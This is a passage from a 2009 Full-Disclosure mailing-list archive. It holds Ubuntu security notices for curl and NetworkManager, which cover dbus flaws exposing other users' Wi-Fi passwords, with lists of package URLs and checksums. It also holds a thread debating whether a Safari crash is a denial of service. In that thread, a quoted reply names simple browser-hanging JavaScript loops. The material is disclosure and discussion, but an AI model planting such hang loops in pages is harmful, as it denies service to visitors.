      Size/MD5:   926082 5cc5411540ce23be3354b1f4d5fc041f
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.1_amd64.deb
      Size/MD5:   933036 adcb522fbbb4f3ab68b4fa8af804d5b7

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.1_i386.deb
      Size/MD5:   209080 80b442fba7924160f234f6d2fc5be8ea
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.1_i386.deb
      Size/MD5:  1091876 d294a4ad45febe82279359741d6958c4
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.1_i386.deb
      Size/MD5:   212550 7c5a86d097564f4563cd4992c65544a9
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.1_i386.deb
      Size/MD5:   219490 83026954c17912ed54036e2f81118310
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.1_i386.deb
      Size/MD5:   899576 bb001dda2e0e9def2d08f99497adfbcd
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.1_i386.deb
      Size/MD5:   905326 74ff52579922240c1a034c0f223b1a1a

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.2-1ubuntu4.1_lpia.deb
      Size/MD5:   208732 cdc604e918825dd8ca06fb07b69d90ba
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.1_lpia.deb
      Size/MD5:  1099032 5e1a71fa663f6f21944bf7078c57aebe
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.1_lpia.deb
      Size/MD5:   210790 2486bf054d91bf5e5cd32fae20d2002a
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.1_lpia.deb
      Size/MD5:   217316 32814e9da3f6ea13b6b2a77e872f92fc
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.1_lpia.deb
      Size/MD5:   898464 3028bc84dcbc05a2a65d50f49f0ed2f0
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.1_lpia.deb
      Size/MD5:   903772 00495fb44aba7d390ddb7643de104fca

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.2-1ubuntu4.1_powerpc.deb
      Size/MD5:   212494 c0ad35c9fbaa7afeb9247b948bf3720e
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.1_powerpc.deb
      Size/MD5:  1130288 8a65d0227f3697b505e4634cff6831fd
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.1_powerpc.deb
      Size/MD5:   223618 b5d5085350540d988abc19c5dcb04ea6
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.1_powerpc.deb
      Size/MD5:   229464 8053abc5beb65a37ea489eeec41ab2c2
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.1_powerpc.deb
      Size/MD5:   925362 8277d9fb3b898cf90e4fa46ffcf71147
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.1_powerpc.deb
      Size/MD5:   931700 13f3edf118024e221d7f45abd05c0e7e

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.2-1ubuntu4.1_sparc.deb
      Size/MD5:   209542 6478e46bb2850c50f7b4def0d86b730b
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.1_sparc.deb
      Size/MD5:  1072458 5eaf45a5c000a1f8b0d09bbab983b8ae
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.1_sparc.deb
      Size/MD5:   209228 83c8fcd128286fd77d9983fff53d9563
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.1_sparc.deb
      Size/MD5:   213982 bf031afa898326f814e2dea63fdc0523
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.1_sparc.deb
      Size/MD5:   904780 f3ac8d6aab6a12a4b8462152e38463a9
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.1_sparc.deb
      Size/MD5:   909856 c991e46b6bb3a47c79e7615f398de261


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/0c893809/attachment.bin 

From marc.deslauriers at canonical.com  Tue Mar  3 19:45:21 2009
From: marc.deslauriers at canonical.com (Marc Deslauriers)
Date: Tue, 03 Mar 2009 14:45:21 -0500
Subject: [Full-disclosure] [USN-727-1] network-manager-applet vulnerabilities
Message-ID: <1236109521.6589.19.camel@mdlinux.technorage.com>

===========================================================
Ubuntu Security Notice USN-727-1             March 03, 2009
network-manager-applet vulnerabilities
CVE-2009-0365, CVE-2009-0578
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 7.10
Ubuntu 8.04 LTS
Ubuntu 8.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 7.10:
  network-manager-gnome           0.6.5-0ubuntu11~7.10.1

Ubuntu 8.04 LTS:
  network-manager-gnome           0.6.6-0ubuntu3.1

Ubuntu 8.10:
  network-manager-gnome           0.7~~svn20081020t000444-0ubuntu1.8.10.2

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

It was discovered that network-manager-applet did not properly enforce
permissions when responding to dbus requests. A local user could perform dbus
queries to view other users' network connection passwords and pre-shared keys.
(CVE-2009-0365)

It was discovered that network-manager-applet did not properly enforce
permissions when responding to dbus modify and delete requests. A local user
could use dbus to modify or delete other users' network connections. This issue
only applied to Ubuntu 8.10. (CVE-2009-0578)


Updated packages for Ubuntu 7.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.6.5-0ubuntu11~7.10.1.diff.gz
      Size/MD5:     7691 a46630110934b343c4ca8e9a36ed915f
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.6.5-0ubuntu11~7.10.1.dsc
      Size/MD5:     1024 de8efd3c74908e6c2b211705e599f08d
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.6.5.orig.tar.gz
      Size/MD5:   728673 ad8e3feccbb1fcb9627f876cba6dcb0e

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.6.5-0ubuntu11~7.10.1_amd64.deb
      Size/MD5:   145754 148c33705c10ad4d070f4f94a16e8718

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.6.5-0ubuntu11~7.10.1_i386.deb
      Size/MD5:   138020 b2799201f3ffe0519217eeb3b14fdb6d

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/n/network-manager-applet/network-manager-gnome_0.6.5-0ubuntu11~7.10.1_lpia.deb
      Size/MD5:   137380 924c344d2874f098198d7cf85fd875ee

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.6.5-0ubuntu11~7.10.1_powerpc.deb
      Size/MD5:   147252 718e0776e184ccf7b2af79b4d28b7a6d

  sparc architecture (Sun SPARC/UltraSPARC):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.6.5-0ubuntu11~7.10.1_sparc.deb
      Size/MD5:   138660 dd0e6039514e65dfdbf90b1b81bb3810

Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.6.6-0ubuntu3.1.diff.gz
      Size/MD5:    11001 c5f9ed4f19e0efc956074a0c8f51a5b2
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.6.6-0ubuntu3.1.dsc
      Size/MD5:     1020 181665f28e65a036c5e00de77b82b780
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.6.6.orig.tar.gz
      Size/MD5:   808916 f01275d74ed277b1a587cbb411811297

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.6.6-0ubuntu3.1_amd64.deb
      Size/MD5:   176034 0c9a763eca6983abf1f92bf6591e4fea

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.6.6-0ubuntu3.1_i386.deb
      Size/MD5:   165398 ff7cb4aa3d452ef58c78eef8b9867136

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/n/network-manager-applet/network-manager-gnome_0.6.6-0ubuntu3.1_lpia.deb
      Size/MD5:   164806 0c59ab436eb451169a5f141174db9e9b

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/n/network-manager-applet/network-manager-gnome_0.6.6-0ubuntu3.1_powerpc.deb
      Size/MD5:   178224 e5d54ccb3fea2a24231eae94548deb96

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/n/network-manager-applet/network-manager-gnome_0.6.6-0ubuntu3.1_sparc.deb
      Size/MD5:   165134 83480e1cce024d7ac57df99901c30034

Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.7~~svn20081020t000444-0ubuntu1.8.10.2.diff.gz
      Size/MD5:    45842 868c74bce7081563ad9f9e3d9213a12e
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.7~~svn20081020t000444-0ubuntu1.8.10.2.dsc
      Size/MD5:     1745 2e3fa86787038792390ee42bf583ff68
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-applet_0.7~~svn20081020t000444.orig.tar.gz
      Size/MD5:   668729 af829714605058afb3cf77c5d419ae83

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.7~~svn20081020t000444-0ubuntu1.8.10.2_amd64.deb
      Size/MD5:   312726 e908146a408b9f979bdbcd97eb6d5321

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager-applet/network-manager-gnome_0.7~~svn20081020t000444-0ubuntu1.8.10.2_i386.deb
      Size/MD5:   298752 7f7de4a66ab8158b09fc3a8e6b5b51b2

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/n/network-manager-applet/network-manager-gnome_0.7~~svn20081020t000444-0ubuntu1.8.10.2_lpia.deb
      Size/MD5:   297408 d1011545dbce454951903801c81237a1

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/n/network-manager-applet/network-manager-gnome_0.7~~svn20081020t000444-0ubuntu1.8.10.2_powerpc.deb
      Size/MD5:   309074 1dd0558d633b648761ceb913fe4d5452

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/n/network-manager-applet/network-manager-gnome_0.7~~svn20081020t000444-0ubuntu1.8.10.2_sparc.deb
      Size/MD5:   301496 5edc29edd0c0861bedb46b33a146bb44


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/e7afcdc9/attachment.bin 

From scarybeasts at gmail.com  Tue Mar  3 20:37:40 2009
From: scarybeasts at gmail.com (Chris Evans)
Date: Tue, 3 Mar 2009 12:37:40 -0800
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <49ADB672.24232.C6681B5F@nick.virus-l.demon.co.uk>
References: <1695017750.20090227143622@Zoller.lu>
	<49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
	<448e9a320903030121j77816595x95371bfe9965c501@mail.gmail.com>
	<49ADB672.24232.C6681B5F@nick.virus-l.demon.co.uk>
Message-ID: <72daeffd0903031237q36b8ffbree48ec283681ec64@mail.gmail.com>

On Tue, Mar 3, 2009 at 2:00 AM, Nick FitzGerald
<nick at virus-l.demon.co.uk> wrote:
> Michal Zalewski to me:
>
>> > But what if www.evil.com has run an injection attack of some kind (SQL,
>> > XSS in blog comments, etc, etc) against www.stupid.com?
>> >
>> > Visitors to stupid.com then suffer a DoS...
>>
>> In such a case, the attacker may just as well clobber body.innerHTML,
>> run a while (1) loop, or otherwise logically deny or alter service to
>> visitors without actually exploiting any specific bug ...
>
> So?
>
>> ... - so I do not
>> see any significant benefit to killing this particular tab.
>
> Where in any usable definition of "denial of service" does the word
> "useful" or concept of "benefit" appear?
>
> The question was, is it a DoS.
>
> It is.

By this definition of yours, DoS is fundamentally built in to browsers
(by way of simply following specifications) -- even those with decent
privsep models.

Web security IS fundamentally broken at the foundations, so I'm not
going to disagree with you.

It raises the question: DoS is an overloaded term, perhaps it should
be reserved for cases that actually have real-world significance? Or
is a new term required?

Cheers
Chris

>
>> Crashing / hanging the entire browser is somewhat different, as it
>> bears some risk of data loss in plausible usage scenarios.
>> Unfortunately, most implementations do very little to prevent cases
>> that were permitted by standards in the first place (things such as
>> "while (1) str += str", "while (1) alert('foo')", looped blocking
>> XMLHttpRequest calls, ridiculously nested XML and other
>> expensive-to-render content, etc) - which makes finding new instances
>> somewhat futile and pointless, and a result, somewhat frowned upon on
>> security mailing lists (ugh).
>
> I agree, but I was not addressing that.
>
> Is it useful? ?Probably not.
>
> But it's still a DoS...
>
> And, will the Safari folk find something more important to fix if/when
> they look into it?
>
> Who knows but it won't hurt for them to look...
>
>
> Regards,
>
> Nick FitzGerald
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From marcio.barbado at gmail.com  Tue Mar  3 21:06:29 2009
From: marcio.barbado at gmail.com (M.B.Jr.)
Date: Tue, 3 Mar 2009 18:06:29 -0300
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <1695017750.20090227143622@Zoller.lu>
References: <1695017750.20090227143622@Zoller.lu>
Message-ID: <2df3b0cb0903031306v355058cekdcc5de71107da27a@mail.gmail.com>

Dear Thierry,


On Fri, Feb 27, 2009 at 10:36 AM, Thierry Zoller <Thierry at zoller.lu> wrote:
>
> In my book, maybe only in mine, a software bug is security relevant
> (sorry for the lack of clarity - it's late over here) as soon as
> Integrity / Availabilty / Confidentiality are under arbritary direct
> or indirect control of a another entity  (i.e attacker). Period,
> personaly this represents the ultima ratio


Not only in your book. Also in the ISO 27000 series.
Which one came first? LOL





-- 
Marcio Barbado, Jr.



From marc.deslauriers at canonical.com  Tue Mar  3 19:46:12 2009
From: marc.deslauriers at canonical.com (Marc Deslauriers)
Date: Tue, 03 Mar 2009 14:46:12 -0500
Subject: [Full-disclosure] [USN-727-2] NetworkManager vulnerability
Message-ID: <1236109572.6589.20.camel@mdlinux.technorage.com>

===========================================================
Ubuntu Security Notice USN-727-2             March 03, 2009
network-manager vulnerability
CVE-2009-0365
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LTS
Ubuntu 8.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.06 LTS:
  network-manager-gnome           0.6.2-0ubuntu7.1

Ubuntu 8.10:
  network-manager                 0.7~~svn20081018t105859-0ubuntu1.8.10.2

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

USN-727-1 fixed vulnerabilities in network-manager-applet. This advisory
provides the corresponding updates for NetworkManager.

It was discovered that NetworkManager did not properly enforce permissions when
responding to dbus requests. A local user could perform dbus queries to view
system and user network connection passwords and pre-shared keys.


Updated packages for Ubuntu 6.06 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.6.2-0ubuntu7.1.diff.gz
      Size/MD5:    34743 600cb7e8502953d66ee115db7f80e7e8
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.6.2-0ubuntu7.1.dsc
      Size/MD5:     1055 c5fa9f57b9b4885fc22701b2a194d4ae
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.6.2.orig.tar.gz
      Size/MD5:  1020184 dd5d54e70d34320d302366b74a46dbb2

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util-dev_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   121858 1091f4d13eb137d9642f869e948aa078
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0-dbg_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   127252 e57037d3d5e033c22acdf6790bd5a332
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   117516 5ad2a4f299e1e8817a8738185a2c017e
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dbg_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   383806 652ac19c650545cfacda8b8088288b08
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dev_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   105282 d76a91263f62e38d9cc491525bb92d6a
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome-dbg_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   315080 1b4411682db55d1ba47f89e359cf46d4
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   252418 ecd413af32b6ca0624977221b654537f
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   246526 c54e60f980ca55b3011db2a338bb76f4
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib-dev_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   111916 042e88f2641e83f128c46da7075163a8
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0-dbg_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   116148 ea0a66b60676105aadf9d02b98b421b9
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0_0.6.2-0ubuntu7.1_amd64.deb
      Size/MD5:   111194 619323f4f567215ef769b442f3017546

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util-dev_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   120794 e5509d2e13cf7d1c9bdcebafb106c25b
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0-dbg_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   120694 bf4587855de9b0583261fbac9dc7fcaf
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   116584 b1a080871e2e129d98eef605127ce204
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dbg_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   344318 ae65186e75641ebec2b727e94d30c7c2
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dev_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   105284 cc1442a71b1a094bc83da1cf5bab16c4
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome-dbg_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   287922 922c4210cbc75cd3bdb44ff0b3079114
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   240778 d2d4c1540a359fe98c1c7772b4c017c7
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   227720 4010298ffdebc042822509f15f0bb546
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib-dev_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   110910 e8c43189983fb32c8acf7f2d0d9fa14d
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0-dbg_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   114384 1ba62785c9140ecd3089b245d0810c6d
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0_0.6.2-0ubuntu7.1_i386.deb
      Size/MD5:   109904 66ee6b1be8fbd94e8efb2b7f107830a1

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util-dev_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   123122 1a6f1e635c3dc77cc22bdfd7bb60bc11
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0-dbg_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   127272 0210f69f718d82ece63aed25e74d402b
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   119154 88c0decef4748240a22b09154f141616
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dbg_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   379006 e2c84cd5f803d99f8d41c817375098c8
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dev_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   105290 c69253d41131324fa18f7e0e759d9202
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome-dbg_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   307174 adeffed37388baa98cdf56edbce1ed84
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   246574 e57477ee9b34ac26987b8ba70343f112
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   241916 f069122433b555d066510821cfcc0d0b
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib-dev_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   112090 03dbe4aaf71c5836296f627ae7bad604
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0-dbg_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   116776 efc5f6e58a3a479d0edc36b102e34e69
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0_0.6.2-0ubuntu7.1_powerpc.deb
      Size/MD5:   111912 c860c571d36875ff394d24a8ecbcb317

  sparc architecture (Sun SPARC/UltraSPARC):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util-dev_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   123078 189c7233442448f0b9d42f6ccc9d65a7
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0-dbg_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   122076 f7534c8a43b2b8b6b0b1125f60f70e52
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   118472 ea1c7f1bfc59384ce03875fe980b14dc
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dbg_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   340152 294d1c6ac8e1f96681b084c5ff4432ea
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dev_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   105284 e0a0e396ac51ca61d3a8d4009dbd8378
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome-dbg_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   286406 1515545d5f8479c2b4dd9a9781ca80bf
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-gnome_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   240640 53c83f717806730239346aadb092128c
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   230482 c2cd805ee8d49605628049cc2085a1cf
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib-dev_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   111890 be5c94248904858e4d02c941c1419b7c
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0-dbg_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   114498 5a5b1e42901b5b48d5ea9add28420f57
    http://security.ubuntu.com/ubuntu/pool/universe/n/network-manager/libnm-glib0_0.6.2-0ubuntu7.1_sparc.deb
      Size/MD5:   110476 cb0ad802dcfd9293220d86884e00b45a

Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859-0ubuntu1.8.10.2.diff.gz
      Size/MD5:    53080 0f19cb4cbb0bfdab4ca52e9b9c73cb12
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859-0ubuntu1.8.10.2.dsc
      Size/MD5:     1844 0f0437a7643d7d9666a98b34eb1c6948
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859.orig.tar.gz
      Size/MD5:  1212180 69beaf9748236aa52b10171260089eab

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-glib-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_amd64.deb
      Size/MD5:   112584 830c5716079c81073e010497412b2d48
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-glib0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_amd64.deb
      Size/MD5:    62498 611af9f6d4c3e2b0d785a777bb30e149
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_amd64.deb
      Size/MD5:    77692 591bd10891213c11296705dbc1e73d0b
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_amd64.deb
      Size/MD5:    77264 2821140fb2f561650962866e147ecf1b
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_amd64.deb
      Size/MD5:     6356 6850c4113c56037851a42e6b706dd7d8
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859-0ubuntu1.8.10.2_amd64.deb
      Size/MD5:   290368 cb39ed7239bece30200f13f4d7300ca6

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-glib-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_i386.deb
      Size/MD5:    98336 be6f99056369a30d57df9ff0240eeef5
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-glib0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_i386.deb
      Size/MD5:    55008 a869f6812bc638821d11a3cc044fec2f
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_i386.deb
      Size/MD5:    66950 bfa354627928981f817742918735918e
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/libnm-util0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_i386.deb
      Size/MD5:    72056 b2093f43d1ce34cc3e5624e602d321c3
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_i386.deb
      Size/MD5:     6354 fe0716a4d4bcbbc03b2fd8acc06e913e
    http://security.ubuntu.com/ubuntu/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859-0ubuntu1.8.10.2_i386.deb
      Size/MD5:   263832 54b49d875cbeadd055e4ee7a9ce9219a

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-glib-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_lpia.deb
      Size/MD5:    97636 bba139127632134dd61918e386cff27d
